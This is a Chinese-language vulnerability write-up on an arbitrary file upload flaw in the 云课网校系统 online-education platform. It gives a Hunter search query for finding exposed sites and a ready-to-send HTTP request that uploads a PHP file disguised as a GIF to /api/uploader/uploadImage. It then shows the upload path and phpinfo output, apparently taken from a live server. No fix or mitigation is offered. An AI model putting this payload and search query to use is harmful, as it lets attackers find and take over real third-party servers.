

# Y13-1云课网校系统-文件上传

## 漏洞描述：

云课网校系统是一款开源在线教育网站平台，主要用于在线点播、在线直播、题库等功能，非常适合于个人和小型机构创建自己的在线教育网站。云课网校系统uploadImage存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。

## 影响版本：

- <云课网校系统3.0.5
- [05c8e6b9ce08a59c60a8061cef83a2b2.zip](#)

### 网站图片：



## 网络测绘：

### Hunter 语法：

hunterweb.body="/static/libs/common/jquery.stickyNavbar.min.js"

## 漏洞复现：

### payload:

```
POST /api/uploader/uploadImage HTTP/1.1
Host: xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykvjj6DIn0LIXxe9m
x-requested-with: XMLHttpRequest


-----WebKitFormBoundaryLZbmKeasWgo2gPtU
Content-Disposition: form-data; name="file"; filename="1G3311040N.php"
Content-Type: image/gif

<?php phpinfo();?>
-----WebKitFormBoundaryLZbmKeasWgo2gPtU--
```

### 效果图:



上传文件路径upload/image/20231206/10f4784dc45961c0dc43cfd3dd5fa75.php

PHP Version 7.4.33	
	
System	Linux smalarky 3.10.0-1160.99.1.el7.x86_64 #1 SMP Wed Sep 13 14:19:20 UTC 2023 x86_64
Build Date	Nov 9 2022 15:04:27
Configure Command	./configure '--prefix=/www/server/php/74' '--with-config-file-path=/www/server/php/74/etc' '--enable-fpm' '--with-fpm-user=www' '--with-fpm-group=www' '--enable-mysqlnd' '--with-mysql=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-iconv-dir' '--with-freetype' '--with-jpeg' '--with-zlib' '--with-libxml=dom' '--enable-xml' '--disable-path' '--enable-bcmath' '--enable-shmop' '--enable-sysvsem' '--enable-inline-optimization' '--with-curl' '--enable-mbregex' '--enable-mbstring' '--enable-intl' '--enable-ftp' '--enable-gd' '--with-openssl' '--with-mhash' '--enable-pcntl' '--enable-sockets' '--with-mcrypt' '--enable-soap' '--with-gettext' '--disable-fileinfo' '--enable-openssl' '--with-sodium' '--with-webp' 'PKG_CONFIG_PATH=/www/server/php/74/lib64/pkgconfig:/www/server/php/74/share/pkgconfig'
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/www/server/php/74/etc
Loaded Configuration File	/www/server/php/74/etc/php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20190902
PHP Extension	20190902
Zend Extension	320190902
Zend Extension Build	API320190902.NTS
PHP Extension Build	API20190902.NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	enabled